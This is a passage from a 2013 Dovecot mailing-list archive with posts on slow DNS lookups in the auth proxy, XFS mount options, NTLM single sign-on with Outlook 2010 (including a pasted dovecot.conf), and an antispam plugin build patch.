Hello, I've just finished transiting our proxies from perdition to dovecot (2.1.7-7 Debian). Yesterday 12 messages (all within the same second) like this caught my attention: --- Apr 25 17:19:09 pp11 dovecot: auth: Warning: proxy(redacted(a)gol.com,xx.xx.xx.xx,<26hUEivbfQBlMrMS>): DNS lookup for mb04.dentaku.gol.com took 5.002 s --- Now this machine at that time was handling a load of about 2 logins per second, about 20% of what it previously handled with perdition w/o a hiccup. It also runs a local caching nameserver and the A record for the mailbox server in question was most definitely cached at the time (verified via TTL). The machine in question was very bored and certainly capable of handling hundreds if not thousands of DNS queries per second at that moment. In short, I can't see any reason how the lookup could have taken so long, so my guess is there are some issues with the dns-helper (locking, stepping on each others feet, not being spawned fast enough) causing this. Some general remarks, dovecot as proxy feels "heavier" than perdition. In the CPU area that's probably a more subjective impression, because all the little helper processes make it clear what's going on where. Though the "config" process being rather active is something that perdition definitely doesn't do, it reads the config once at start time and that's it. All the IPC and central processes of course also make dovecot rather file handle hungry. Memory wise it's about 35% bigger than perdition and that's not subjective at all. ^o^ About one MB per proxy process/connection for dovecot in my case. Caveat emptor. ^o^ Regards, Christian -- Christian Balzer Network/Systems Engineer chibi(a)gol.com Global OnLine Japan/Fusion Communications http://www.gol.com/

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Re: [Dovecot] XFS vs EXT4 for mail storage
by Reindl Harald 02 May '13

02 May '13

Am 02.05.2013 17:31, schrieb Charles Marcus: > On 2013-05-02 10:45 AM, Reindl Harald <h.reindl(a)thelounge.net> wrote: >> "man mount" is very generic and doe snot cover any option >> there is also no "man mount.ntfs" while "mount.ntfs" command exists > > ? > > man mount, at least mine, shows first the FILESYSTEM INDEPENDENT MOUNT OPTIONS, then as you scroll down, you'll get > to all of the additional filesystem specific options, ie, for xfs... > > So, not sure what you mean by 'does not cover any option'... typo - meant "does not cover ALL options" someone has to write the manpages, there are millions of options all over the software-world which did it not make into manpages google for "xfs delaylog" leads to http://xfs.org/index.php/XFS_FAQ http://xfs.org/index.php/XFS_FAQ#Q:_I_want_to_tune_my_XFS_filesystems_for_.… For mount options, the only thing that will change metadata performance considerably are the logbsize and delaylog mount options so how can it be redhat-specific if it is mentioned upstream?

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[Dovecot] NTLM authentication with Outlook 2010
by Kevin Bridges 01 May '13

01 May '13

All, I have a Ubuntu 12.04.2 box running Dovecot 2.0.19. I have it configured for our active directory. WBinfo and ntlm_auth work great. I am trying to get sso to work with ntlm. Gssapi with thunderbird works like it should. I just cant get ntlm with outlook 2010 to work for sso. I get prompted for my password each time I open outlook. I have attached my config for dovecot. Any help would be much appreciated. # 2.0.19: /etc/dovecot/dovecot.conf # OS: Linux 3.2.0-39-virtual x86_64 Ubuntu 12.04.2 LTS auth_debug = yes auth_debug_passwords = yes auth_mechanisms = gssapi ntlm auth_use_winbind = yes auth_verbose = yes auth_verbose_passwords = plain debug_log_path = /var/log/dovecot_debug.log log_path = /var/log/dovecot.log mail_location = mdbox:~/mdbox passdb { driver = pam } plugin { quota_rule = *:storage=2G quota_warning = storage=95%% quota-warning 95 %u } protocols = " imap" service auth-worker { user = root } service auth { user = root } ssl_cert = </etc/ssl/certs/dovecot.pem ssl_key = </etc/ssl/private/dovecot.pem userdb { driver = passwd } protocol imap { mail_plugins = " quota imap_quota" }

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[Dovecot] Antispam r49 breaks Dovecot v2.1
by Steffen Kaiser 30 Apr '13

30 Apr '13

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Dear Eugene, patch 49 breaks compilation with Dovecot v2.1. Attached patch encloses the change in a #if. To feed the #if the actual Dovecot version, I've introduced an extra variable in extra.mk, but I cannot help with making the GNU configure stuff doing it right away. There will be numerous other ways to get the Dovecot version into the source ... . Maybe, Timo would add a binary version of the Dovecot version in its config.h ? In order to be able to built version-aware plugins. Regards, - -- Steffen Kaiser -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.11 (GNU/Linux) iQEVAwUBUNLvT2oxLS8a3A9mAQIzfwgAvf7zcN9RwKD/kTmFkfx5djKd5H0dRXt8 423csD3bCU6qcOtR2MHR0ApNp07aXK84MPgIazbne41Iekqk0daoOhnPoc0mHy8u kj9EYFGVlQTKa2vcSUEu8Phddc/YHvzQba9m2Dg9P4STuJ6EcRqkhvufspERGphF Y+IY20BQc9/Flu8TIxtt6pSiIioq0WWntCGnyPP9BX90JYYO+5zAm5FnG4GH4Q0Z 44dZSKM7iP0/nMhmsraX/5alxy0mvx3ZfhO/Ktx/wd92WmLROAlicBClIZC9XCH2 6HD/ryr73DrEeEZdmwHcnmZrtWc++EJcAetfv45Fov8XagUtFJ0D4A== =G+d/ -----END PGP SIGNATURE-----

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